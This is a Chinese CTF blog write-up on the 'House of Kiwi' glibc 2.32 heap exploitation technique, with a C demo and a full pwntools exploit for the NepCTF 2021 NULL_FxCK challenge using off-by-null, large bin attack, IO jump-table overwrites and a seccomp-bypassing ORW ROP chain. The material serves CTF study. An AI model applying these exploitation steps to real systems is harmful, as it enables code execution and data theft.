House OF Kiwi

阅读量    259279 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

House_OF_Kiwi

CTF的Pwn题里面,通常就会遇到一些加了沙盒的题目,这种加沙盒的题目,在2.29之后的堆题中,通常为以下两种方式

  1. 劫持__free_hook,利用特定的gadget,将栈进行迁移
  2. 劫持__malloc_hooksetcontext+61的gadget,以及劫持IO_list_all单链表中的指针在exit结束中,在_IO_cleanup函数会进行缓冲区的刷新,从而读取flag

因为setcontext + 61从2.29之后变为由RDX寄存器控制寄存器了,所以需要控制RDX寄存器的指向的位置的部分数据

<setcontext+61>:    mov    rsp,QWORD PTR [rdx+0xa0]
<setcontext+68>:    mov    rbx,QWORD PTR [rdx+0x80]
<setcontext+75>:    mov    rbp,QWORD PTR [rdx+0x78]
<setcontext+79>:    mov    r12,QWORD PTR [rdx+0x48]
<setcontext+83>:    mov    r13,QWORD PTR [rdx+0x50]
<setcontext+87>:    mov    r14,QWORD PTR [rdx+0x58]
<setcontext+91>:    mov    r15,QWORD PTR [rdx+0x60]
<setcontext+95>:    test   DWORD PTR fs:0x48,0x2
<setcontext+107>:    je     0x7ffff7e31156 <setcontext+294>
->
<setcontext+294>:    mov    rcx,QWORD PTR [rdx+0xa8]
<setcontext+301>:    push   rcx
<setcontext+302>:    mov    rsi,QWORD PTR [rdx+0x70]
<setcontext+306>:    mov    rdi,QWORD PTR [rdx+0x68]
<setcontext+310>:    mov    rcx,QWORD PTR [rdx+0x98]
<setcontext+317>:    mov    r8,QWORD PTR [rdx+0x28]
<setcontext+321>:    mov    r9,QWORD PTR [rdx+0x30]
<setcontext+325>:    mov    rdx,QWORD PTR [rdx+0x88]
<setcontext+332>:    xor    eax,eax
<setcontext+334>:    ret

缺点

但是如果将exit函数替换成_exit函数,最终结束的时候,则是进行了syscall来结束,并没有机会调用_IO_cleanup,若再将__malloc_hook__free_hook给ban了,且在输入和输出都用read和write的情况下,无法hook且无法通过IO刷新缓冲区进行调用,这时候就涉及到ptmalloc源码里面了

使用场景

  1. 能够触发__malloc_assert,通常是堆溢出导致
  2. 能够任意写,修改_IO_file_syncIO_helper_jumps + 0xA0 and 0xA8

    __malloc_assert

  • GLIBC 2.32/malloc.c:288
    glibc中ptmalloc部分,从以前到现在都存在一个assret断言的问题,此处存在一个fflush(stderr)的函数调用,其中会调用_IO_file_jumps中的sync指针
    static void
    __malloc_assert (const char *assertion, const char *file, unsigned int line,
           const char *function)
    {
    (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
               __progname, __progname[0] ? ": " : "",
               file, line,
               function ? function : "", function ? ": " : "",
               assertion);
    fflush (stderr);
    abort ();
    }
    

    如何触发assert?在_int_malloc中存在一个 assert (chunk_main_arena (bck->bk));位置可以触发,此外当top_chunk的大小不够分配时,则会进入sysmalloc中

  • GLIBC 2.32/malloc.c:2394
    ......
    assert ((old_top == initial_top (av) && old_size == 0) ||
            ((unsigned long) (old_size) >= MINSIZE &&
             prev_inuse (old_top) &&
             ((unsigned long) old_end & (pagesize - 1)) == 0));
    ......
    

    此处会对top_chunk的size|flags进行assert判断

    1. old_size >= 0x20;
    2. old_top.prev_inuse = 0;
    3. old_top页对齐

通过这里也可以触发assert
下面手动实现进入assert后,可以想到fflush和fxprintf都和IO有关,可能需要涉及IO,一步步调试看看可以发现在fflush函数中调用到了一个指针:位于_IO_file_jumps中的_IO_file_sync指针,且观察发现RDX寄存器的值为IO_helper_jumps指针,多次调试发现RDX始终是一个固定的地址

如果存在一个任意写,通过修改 _IO_file_jumps + 0x60_IO_file_sync指针为setcontext+61
修改IO_helper_jumps + 0xA0 and 0xA8分别为可迁移的存放有ROP的位置和ret指令的gadget位置,则可以进行栈迁移

Demo

一个简单的演示用的DEMO

// Ubuntu 20.04, GLIBC 2.32_Ubuntu2.2
//gcc demo.c -o main -z noexecstack -fstack-protector-all -pie -z now -masm=intel
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#define pop_rdi_ret libc_base + 0x000000000002858F
#define pop_rdx_r12 libc_base + 0x0000000000114161
#define pop_rsi_ret libc_base + 0x000000000002AC3F
#define pop_rax_ret libc_base + 0x0000000000045580
#define syscall_ret libc_base + 0x00000000000611EA
#define ret pop_rdi_ret+1
size_t libc_base;
size_t ROP[0x30];
char FLAG[0x100] = "./flag.txt\x00";
void sandbox()
{
    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    struct sock_filter sfi[] ={
        {0x20,0x00,0x00,0x00000004},
        {0x15,0x00,0x05,0xC000003E},
        {0x20,0x00,0x00,0x00000000},
        {0x35,0x00,0x01,0x40000000},
        {0x15,0x00,0x02,0xFFFFFFFF},
        {0x15,0x01,0x00,0x0000003B},
        {0x06,0x00,0x00,0x7FFF0000},
        {0x06,0x00,0x00,0x00000000}
    };
    struct sock_fprog sfp = {8, sfi};
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sfp);
}

void setROP()
{
    uint32_t i = 0;
    ROP[i++] = pop_rax_ret;
    ROP[i++] = 2;
    ROP[i++] = pop_rdi_ret;
    ROP[i++] = (size_t)FLAG;
    ROP[i++] = pop_rsi_ret;
    ROP[i++] = 0;
    ROP[i++] = syscall_ret;
    ROP[i++] = pop_rdi_ret;
    ROP[i++] = 3;
    ROP[i++] = pop_rdx_r12;
    ROP[i++] = 0x100;
    ROP[i++] = 0;
    ROP[i++] = pop_rsi_ret;
    ROP[i++] = (size_t)(FLAG + 0x10);
    ROP[i++] = (size_t)read;
    ROP[i++] = pop_rdi_ret;
    ROP[i++] = 1;
    ROP[i++] = (size_t)write;
}
int main() {
    setvbuf(stdin,0LL,2,0LL);
    setvbuf(stdout,0LL,2,0LL);
    setvbuf(stderr,0LL,2,0LL);
    sandbox();
    libc_base  = ((size_t)setvbuf) - 0x81630;
    printf("LIBC:\t%#lx\n",libc_base);

    size_t magic_gadget = libc_base + 0x53030 + 61; // setcontext + 61
    size_t IO_helper = libc_base + 0x1E48C0; // _IO_hel
    per_jumps;
    size_t SYNC = libc_base + 0x1E5520; // sync pointer in _IO_file_jumps
    setROP();
    *((size_t*)IO_helper + 0xA0/8) = ROP; // 设置rsp
    *((size_t*)IO_helper + 0xA8/8) = ret; // 设置rcx 即 程序setcontext运行完后会首先调用的指令地址
    *((size_t*)SYNC) = magic_gadget; // 设置fflush(stderr)中调用的指令地址
    // 触发assert断言,通过large bin chunk的size中flag位修改,或者top chunk的inuse写0等方法可以触发assert
    size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
    *top_size = (*top_size)&0xFFE; // top_chunk size改小并将inuse写0,当top chunk不足的时候,会进入sysmalloc中,其中有个判断top_chunk的size中inuse位是否存在
    malloc(0x1000); // 触发assert
    _exit(-1);
}

实际利用

以NepCTF 2021年中NULL_FxCK为例
程序实现了一个简单的增删查改功能,在edit的时候存在一个off by null的漏洞利用,因为环境是GLIBC 2.32,其中tcache chunk的fd进行了一个异或处理
所以此前通过tcache binfastbin 以及 large bin共同进行的fake chunk的伪造不可行,下面则是

  • 仅large bin chunk的堆块伪造,并即可实现堆块重叠
  • 并large bin attack 任意写攻击TLS结构体中的存放tcache结构体指针的位置,从而可以伪造tcache bin结构体进行任意构造
  • 再通过上述demo任意写控制参数,从而在assert后即可进行栈迁移
from pwn import*
context.binary = './main'
def menu(ch):
    p.sendlineafter('>> ',str(ch))
def New(size,content):
    menu(1)
    p.sendlineafter('Size: ',str(size))
    p.sendafter('Content: ',content)
def Modify(index,content):
    menu(2)
    p.sendlineafter('Index: ',str(index))
    p.sendafter('Content: ',content)
def Show(index):
    menu(4)
    p.sendlineafter('Index: ',str(index))
def Free(index):
    menu(3)
    p.sendlineafter('Index: ',str(index))

libc = ELF('./libc-2.32.so')
while True:
    p = remote('node2.hackingfor.fun',38734)
    try:
        New(0x2000,'FMYY')
        New(0x1000,'FMYY')
        New(0x2000 - 0x2F0 - 0x600,'FMYY')
        New(0x4F0,'FMYY') #3
        New(0x108,'FMYY')
        New(0x500,'FMYY') #5
        New(0x108,'FMYY') #6 - 7 -8
        New(0x108,'FMYY')
        New(0x108,'FMYY')
        New(0x510,'FMYY') #9
        New(0x108,'FMYY') 
        New(0x4F0,'FMYY') #11
        New(0x108,'FMYY') #12
        Free(3)
        Free(5)
        Free(9)
        New(0x2000,'FMYY')
        Free(3)
        New(0x500,'\x00'*8 + p64(0xE61)) # 3
        New(0x4F0,'\x00'*8+ '\x10\x00') # 5

        Free(11)
        New(0x800,'FMYY') # 9
        Free(9)
        New(0x510,'\x10\x00') #9
        New(0x4F0,'\x00'*0x20) #11

        Modify(10,'\x00'*0x100 + p64(0xE60))
        Free(11)
        New(0x4F0,'FMYY') # to split the unsorted bin chunk
        New(0x1000,'FMYY')
        Show(6)
        libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 1648 - 0x10 - libc.sym['__malloc_hook']
        log.info('LIBC:\t' + hex(libc_base))
        Show(9)
        heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x49F0
        log.info('HEAP:\t' + hex(heap_base))
        ############################
        SROP_address = heap_base + 0x79F0
        magic = libc_base + 0x1EB538
        main_arena = libc_base + libc.sym['__malloc_hook'] + 0x10
        pop_rdi_ret = libc_base + 0x000000000002858F
        pop_rdx_r12 = libc_base + 0x0000000000114161
        pop_rsi_ret = libc_base + 0x000000000002AC3F
        pop_rax_ret = libc_base + 0x0000000000045580
        syscall_ret = libc_base + 0x00000000000611EA
        malloc_hook = libc_base + libc.sym['__malloc_hook']


        frame = SigreturnFrame()
        frame.rsp = heap_base + 0x7A90 + 0x58
        frame.rip = pop_rdi_ret + 1

        Open = libc_base + libc.symbols["open"]
        Read = libc_base + libc.symbols["read"]
        Write = libc_base + libc.symbols['write']

        orw  = ''
        orw += p64(pop_rax_ret) + p64(2)
        orw += p64(pop_rdi_ret)+p64(heap_base + 0x7B78)
        orw += p64(pop_rsi_ret)+p64(0)
        orw += p64(syscall_ret)
        orw += p64(pop_rdi_ret) + p64(3)
        orw += p64(pop_rdx_r12) + p64(0x100) + p64(0)
        orw += p64(pop_rsi_ret) + p64(heap_base + 0x10000)
        orw += p64(Read)
        orw += p64(pop_rdi_ret)+p64(1)
        orw += p64(Write)
        orw += './flag.txt\x00\x00'
        IO_helper_jumps = libc_base + 0x1E38C0
        ###################################
        New(0x130,'\x00'*0x108 + p64(0x4B1)) #14
        New(0x440,'FMYY') #15
        New(0x8B0,'\x00'*0x20 + p64(0x21)*8) #16
        New(0x430,'FMYY') #17
        New(0x108,'FMYY') #18
        Free(15)
        ######
        New(0x800,'FMYY')
        Free(15)
        ######
        Free(7)
        New(0x4A0,'\x00'*0x28 + p64(0x451) + p64(main_arena + 1120)*2 + p64(heap_base + 0x6650) + p64(magic - 0x20))
        Free(17)
        New(0x800,str(frame) + orw)
        Free(15)

        New(0x430,'FMYY')
        Free(7)
        New(0x4A0,'\x00'*0x30 + '\x01'*0x90 + p64(libc_base + 0x1E54C0 + 0x60)*0x10 + p64(libc_base + 0x1E48C0 + 0xA0)*0x10)
        Free(0)
        Free(1)

        New(0x108,p64(libc_base + libc.sym['setcontext'] + 61))
        New(0x208,str(frame)[0xA0:])
        menu(1)
        p.sendafter('Size:',str(0x428))
        break
    except:
        p.close()
p.interactive()

 

总结

主要是相对于之前的两种方法而言,运用要简单需要,平常喜欢IO的一些知识,偶然发现的,侵删;

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多